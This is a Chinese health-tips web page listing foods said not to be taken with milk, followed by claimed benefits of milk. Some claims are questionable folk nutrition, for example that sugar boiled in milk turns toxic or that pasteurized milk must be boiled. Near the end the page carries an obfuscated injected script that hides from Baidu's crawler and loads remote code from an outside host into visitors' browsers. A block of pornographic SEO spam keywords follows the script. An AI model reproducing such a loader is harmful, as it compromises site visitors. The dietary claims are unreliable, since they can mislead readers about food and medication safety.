當前位置:首頁 > 飲食 > 健康飲食 > 正文

牛奶不能和這些食物搭配喝

2017-11-02 10:04:25  來源:360常識網   熱度:
導語:牛奶在生產運輸過程的各環節中都有可能受到結核桿菌、痢疾桿菌等有害菌群的污染,市場上的袋裝牛奶普遍采用了巴氏滅菌法,但其瞬間滅菌也有可能不徹底,殘留的細菌在適宜的溫度下會繼續繁殖成為致病源引起腹瀉等癥狀。

牛奶不能和這些食物搭配喝

牛奶不能和這些食物搭配喝

1、不與巧克力搭配

邊吃巧克力邊喝牛奶,巧克力中的成分會破壞牛奶中的鈣,牛奶也讓巧克力中的抗氧化成分失去作用。

2、不搭配米湯和粥

將牛奶混在米湯或者粥里,牛奶中含有維生素A,而米湯和稀飯主要以淀粉為主,它們中含有脂肪氧化酶,會破壞維生素A的養分。

3、不要加糖

煮沸牛奶的時候加糖,牛奶的賴氨酸在加熱條件下能與果糖反應,生成有毒的果糖基賴氨酸。

4、菠菜與牛奶不搭

吃菠菜后喝牛奶,牛奶含有豐富蛋白質和鈣,菠菜含有草酸,兩者同食會結合成不溶性草酸鈣,極大影響鈣的吸收。

5、不要混合果汁

果汁,水果混合喝牛奶,果汁和水果的酸性和牛奶酪蛋白結合會發生凝結沉淀,難以消化吸收。

6、不宜生食,一定要煮沸后飲用

牛奶在生產運輸過程的各環節中都有可能受到結核桿菌、痢疾桿菌等有害菌群的污染,市場上的袋裝牛奶普遍采用了巴氏滅菌法,但其瞬間滅菌也有可能不徹底,殘留的細菌在適宜的溫度下會繼續繁殖成為致病源引起腹瀉等癥狀,因此牛奶一定要煮沸后飲用。

7、服藥前后不要喝奶

服藥前后飲用牛奶,會影響牛奶的吸收,牛奶也會和藥物中的各種成分反應生成對身體有害的物質。

8、不能空腹喝,最好與一些淀粉類的食品同食

空腹時腸胃蠕動快,大大縮短了牛奶在胃里的停留時間,不利于營養消化吸收,如果喝牛奶的同時吃一些饅頭、面包等淀粉類食物就可以幫助人體充分吸收牛奶的豐富營養。當然選擇在飯后用牛奶也會有異曲同工的效果。

9、最好采用間接加熱法,但煮沸時間不能太久

直接加熱會使牛奶產生蛋白質凝結,煮沸太久其中的磷酸鈣就會由酸性變成中性而發生沉淀,乳糖也會因焦化而分解為乳酸和甲酸,從而使牛奶營養價值和色、香、味均有所降低。

10、不能與韭菜一起吃

牛奶與含草酸多的韭菜混合食用,就會影響鈣的吸收。

11、不能與橘子一起吃

在喝牛奶前后1小時左右,不宜吃橘子。因為牛奶中的蛋白質一旦與橘子中的果酸相遇,就會發生凝固,從而影響牛奶的消化與吸收,在這個時間段里也不宜進食其他酸性水果。

喝牛奶的好處

1、改善體質

除補鈣之外,飲牛奶還能很好地補充蛋白質和微量元素,為提高人體的整體營養水平打下很好的基礎。蛋白質牛奶含有酪蛋白、少量的乳清蛋白和共同沉淀物,其生物利用率為85%,而谷類蛋白質的生物價值僅為50%~65%。此外,牛奶蛋白包含人體生長發育所需的全部氨基酸,這是其他食物無法比擬的。牛奶中的蛋白質與熱量的比例也非常合理。

脂肪乳脂含有500多種不同的脂肪酸和脂肪酸衍生物,其中含66%飽和脂肪酸,30%單不飽和脂肪酸和4%多不飽和脂肪酸,占全奶熱量的48%。乳脂不僅使牛奶具備特殊而醇厚的香味,也有利于人體消化。礦物質每100克牛奶里面平均含鈣135毫克,與磷、鉀、鎂等多種礦物質搭配得十分合理,容易被人體吸收。

2、牛奶補鈣可壯筋骨

牛奶好處多多,多喝它可以補鈣,特別是一些中老年人更應該多喝牛奶補鈣,當然凡事超過了一個度就不好了,生活當中不管是喝牛奶,還是其他的飲食方法凡事適量就好。大量證據表明,牛奶對人體健康存在非常廣泛的益處。從骨骼效應來看,對青少年骨骼發育,特別是骨骼量的累積具有重要作用。20歲以前,我們骨骼中的鈣累積得越多,將來發生骨質疏松的幾率就越低。對于成年人來說,雖然骨量峰值已不能變化,但牛奶(尤其是強化了維生素AD的奶)作為最佳的鈣補充來源,仍能起到十分重要的作用。牛奶含有豐富的乳脂,使鈣更易于吸收。

3、一天喝多少牛奶才算好呢?

人體每天都需要攝入蛋白質,但是每個體質不同的人,攝取量也不同。根據中國營養學會公布的符合我國人群特點的膳食推薦標準,1公斤體重應每天攝取1克蛋白質。那么,一個60公斤體重的人一天需要攝取60克蛋白質。在某些特殊情況下,可能上浮或者下降。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品美女一级在线观看| 国产精品美女久久久久av爽 | www.久久精品| 亚洲AV永久无码精品一区二区国产| 国产在线视精品麻豆| caoporn国产精品免费| 91精品国产自产在线观看永久| 精品亚洲综合在线第一区 | 久久99精品国产麻豆不卡| 中文字幕精品在线视频| 国产精品186在线观看在线播放| 亚洲自偷自偷精品| 色综合久久综精品| 日本精品视频一区二区| 国产福利电影一区二区三区久久久久成人精品综合 | 91精品国产自产在线老师啪| 国产精品久久久久久久久软件 | 精品久久亚洲一级α| 无码国模国产在线无码精品国产自在久国产 | 国语自产少妇精品视频| 99久久久国产精品免费牛牛四川| 国产精品久久久久久久久免费| 精品久久洲久久久久护士| 国产VA免费精品高清在线| 综合人妻久久一区二区精品| 99在线观看精品视频| 亚洲精品无码一区二区| 麻豆人妻少妇精品无码专区| 中文字幕一区二区三区日韩精品| 久久青青草原精品国产| 久久久久久国产精品免费免费| 亚洲国产精品碰碰| 亚洲AV午夜福利精品一区二区| 国产99re在线观看只有精品 | 国产四虎免费精品视频| 国产啪精品视频网站丝袜| 在线观看亚洲精品国产| 亚洲国产成人久久精品app| 国产精品亚洲天堂| 久久99热狠狠色精品一区| 精品久久久久香蕉网|